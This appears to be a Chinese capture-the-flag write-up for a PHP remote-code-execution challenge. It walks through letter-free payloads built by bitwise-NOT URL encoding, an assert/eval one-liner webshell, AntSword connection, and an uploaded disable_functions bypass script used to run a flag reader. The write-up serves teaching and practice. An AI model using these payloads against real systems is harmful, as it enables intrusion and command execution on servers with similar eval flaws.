[极客大挑战 2019]RCE ME(无数字字母Webshell)

Posted on 2020-01-04,4 min read

首先。我们从最简单的开始

第一题:

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
    //$hint =  "php function getFlag() to get flag"
}

这题的要求就是不输出字母数字_$+,然后构造getFlag()函数
PHP7特性:
phpinfo() php5/7都可执行
(phpinfo)() php7可执行
首先我们可以通过~取反。来构造getFlag,然后借鉴(phpinfo)()的格式。

(~%98%9A%8B%B9%93%9E%98)=getFlag
(~%98%9A%8B%B9%93%9E%98)()=getFlag()


补充:

既然可以构造函数。那么也可以构造readfile/scandir这种,一些简单的题。直接看flag
(~%89%9E%8D%A0%9B%8A%92%8F)=var_dump
(~%8C%9C%9E%91%9B%96%8D)=scandir
(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%9C%9E%91%9B%96%8D)(%27./%27));
var_dump(scandir('./'))
如果./也被过滤。一样。通过~取反获得
注意(~%D1%D0)=./     带括号的编码才等于字符串。


第二题
分析源码。不能输出字母数字。长度不能超过40

在PHP中。通过异或等其他方法能获得字母。就可以绕过正则

$a="D"^"C"                  异或
//$a=' 
$a=urlencode(~"B");        取反
//$a=%BB                由于取反结果是一个不可见的字符。所以我们通过URL编码输出。浏览器会自动解码。~"B"=~%BB

这里。我才用第二种取反的方式绕过。第一种。。需要找出符合条件的xxx^xxx,着实麻烦。而第二种只需要~(_GET)就可以得到结果

$a=urlencode(~'_GET');
//%A0%B8%BA%AB=_GET
//有了_GET,我们就可以构造更多的语句
由于php7支持${}这种格式。${'_GET'}=$_GET
php7还支持(phpinfo)()这种格式
下面开始构造语句,首先打个phpinfo出来
phpinfo();
(~%8F%97%8F%96%91%99%90)=phpinfo                浏览器自动url解码。然后求反得到phpinfo
(~%8F%97%8F%96%91%99%90)();=phpinfo();          (生成的字符都需要用括号包裹)


查看下过滤函数

过滤了

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

过滤了常用命令执行函数。没有过滤assert和eval和putenv。那就可以用$_GET['a']和assert。eval配合。最后bypass function,执行命令

$_=(~%A0%B8%BA%AB);        //_GET
${$_}                                //$_GET
${$_}[_]                           //$_GET[_]
${$_}[_](${$_}[__])            //$_GET[_]($_GET[__])
当_=assert,__=eval($_GET[a])的时候语句就变成了
assert(eval($_GET[a]))
a传入phpinfo();     语句就变成了
assert(eval(phpindo();))
就可以执行任意代码了
${~%a0%b8%ba%ab}{%ff}("ls");&%ff=system
$_GET[%ff]("ls")==system("ls")
也可以${_GET}[_](${_GET}[__])

照着模板。组合成一句话
$_=(~%A0%B8%BA%AB);${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[a])

接着蚂剑连接
在tmp目录上传我们的bypass脚本

$_=(~%A0%B8%BA%AB);${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[a])&a=include(%27/tmp/by.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/1.so
通过include文件包含/tmp下的bypass脚本。然后执行命令
由于bypass脚本通过GET传参。无论是POST还是GET传参包含。最后都需要在GET传脚本需要的参数


参考文章
http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-函数特性分析/
http://0xcreed.jxustctf.top/2019/10/bypass-disable-functions/

下一篇: suctf-2018 Multi Sql Write Up→